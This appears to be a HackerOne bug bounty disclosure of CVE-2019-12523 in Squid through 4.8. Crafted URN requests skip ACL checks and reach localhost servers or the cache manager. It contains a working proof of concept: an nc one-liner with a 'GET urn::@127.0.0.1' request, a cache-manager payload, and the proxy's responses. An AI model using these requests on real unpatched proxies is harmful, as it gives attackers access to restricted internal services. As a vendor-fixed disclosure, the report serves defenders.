Lucene search

K
hackeroneJeriko_oneH1:824802
HistoryMar 19, 2020 - 6:17 p.m.

Internet Bug Bounty: URN Request bypass ACL Checks

2020-03-1918:17:10
jeriko_one
hackerone.com
82

EPSS

0.011

Percentile

84.1%

Summary:

Attacker can bypass ACL checks gaining access to restricted HTTP servers such as those running on localhost. Attacker could also gain access to CacheManager if VIA
header is turned off. Only lines with : will be readable though, and the response must be less than 4096 bytes or it’ll trigger the Heap Overflow I reported earlier.

This is due to URN request being transformed into HTTP request, and not going through the ACL checks that incoming HTTP request go through.

<= Squid-4.8 Vulnerable
Fixed in Squid-4.9
Squid Announce: http://www.squid-cache.org/Advisories/SQUID-2019_8.txt
Assigned CVE-2019-12523

Steps To Reproduce:

Enable URN by adding the following entry to Safe_ports

acl Safe_ports port 0           # urn

Ensure that you’re blocking request to localhost

http_access deny to_localhost
  1. Start Squid
./sbin/squid 
  1. Start a HTTP server on localhost serving a file that has colons
python -m http.server --bind 127.0.0.1 8080

Contents of hello.html

&lt;html&gt;
	&lt;body&gt;
	Notice: For localhost only
	&lt;/body&gt;
&lt;/html&gt;
  1. Make the following URN request
echo -e "GET urn::@127.0.0.1:8080/hello.html? HTTP/1.1\r\n\r\n" |nc &lt;squid hostname&gt; 3128

HTTP/1.1 302 Found
Server: squid/4.8
Mime-Version: 1.0
Date: Thu, 19 Mar 2020 18:11:20 GMT
Content-Type: text/html
Content-Length: 460
Expires: Thu, 19 Mar 2020 18:11:20 GMT
Location: 	Notice: For localhost only
X-Cache: MISS from g64
Via: 1.1 g64 (squid/4.8)
Connection: keep-alive

&lt;TITLE&gt;Select URL for urn::@127.0.0.1:8080/hello.html?&lt;/TITLE&gt;
&lt;STYLE type="text/css"&gt;&lt;/STYLE&gt;
<h2>Select URL for urn::@127.0.0.1:8080/hello.html?</h2>
<table border="0" width="100%">
<tr><td><a href>	Notice: For localhost only</a></td><td align="right">Unknown</td><td> </td></tr>
</table><hr>
<address>
Generated by squid/4.8@g64
</address>

Analysis

URN Request are different than other request coming into Squid. The original
URN request is hardly parsed from Anyp::Uri::parse only setting a scheme and path.

AnyP::Uri::parse
} else if (strncmp(url, “urn:”, 4) == 0) {
debugs(23, 3, “Split URI '” << url << “’ into proto=‘urn’, path='” << (url+4) << “'”);
debugs(50, 5, “urn=” << (url+4));
setScheme(AnyP::PROTO_URN, nullptr);
path(url + 4);
return true;
Once it’s reached FwdState::Start it arrives in it’s own URN code. The original
URN request is then transformed into a new HTTP request.

UrnState::setUriResFromRequest
char *host = getHost(uri);
snprintf(local_urlres, 4096, “http://%s/uri-res/N2L?urn:” SQUIDSBUFPH, host, SQUIDSBUFPRINT(uri));
safe_free(host);
safe_free(urlres);
urlres_r = HttpRequest::FromUrl(local_urlres, r->masterXaction);

This new HTTP Request is sent directly to FwdState::Start without going
through doCallouts or clientAccessChecks

UrnState::created
FwdState::Start(Comm::ConnectionPointer(), urlres_e,urlres_r.getRaw(), ale);

This allows a user to reach HTTP servers that were meant to
be blocked by Squid, e.g. localhost.

http://:@127.0.0.1:7331/PATH?/uri-res/N2L?urn::@127.0.0.1:7331/PATH?

Squid won’t be able to callback into itself to access things like Cache
Manager since the VIA header will be set. If a Squid server was configured to
not send the Via header then this would give a user access to it.
Here’s a blog post that recommends removing VIA header to remove all Proxy
headers https://adamscheller.com/systems-administration/remove-proxy-headers-squid/

If via is off a user could send a request such as below to gain access
GET urn::@localhost:3128/squid-internal-mgr/active_requests? HTTP/1.1

Below is the CacheManager getting accessed via this:
Breakpoint 2, CacheManager::start (this=0x603000000e80, client=…, request=0x61c00001f880, entry=0x60c00001ff00, ale=…) at cache_manager.cc:307
(gdb) p request->url->absolute_->store_.p_->mem
$25 = 0x62900000f200 "http://g64:3128/squid-internal-mgr/active_requests?/uri-res/N2L?urn::@localhost:3128/squid-internal-mgr/active_requests?

A user abusing this won’t see the full response, since URN handles URLs and
looks for :. Therefore they would only see lines containing :

Also the current state of URN it’s more likely that Squid would crash due to
overflows than show the user any data. Once that is fixed this becomes a more
reasonable way to leak internal responses.

Impact

Attacker can bypass all ACLs using an URN Request. This allows them to make HTTP GET Request to restricted resources. An attacker will be limited on what they can view from these request. Lines must contain : and the response must be less than 4096 bytes.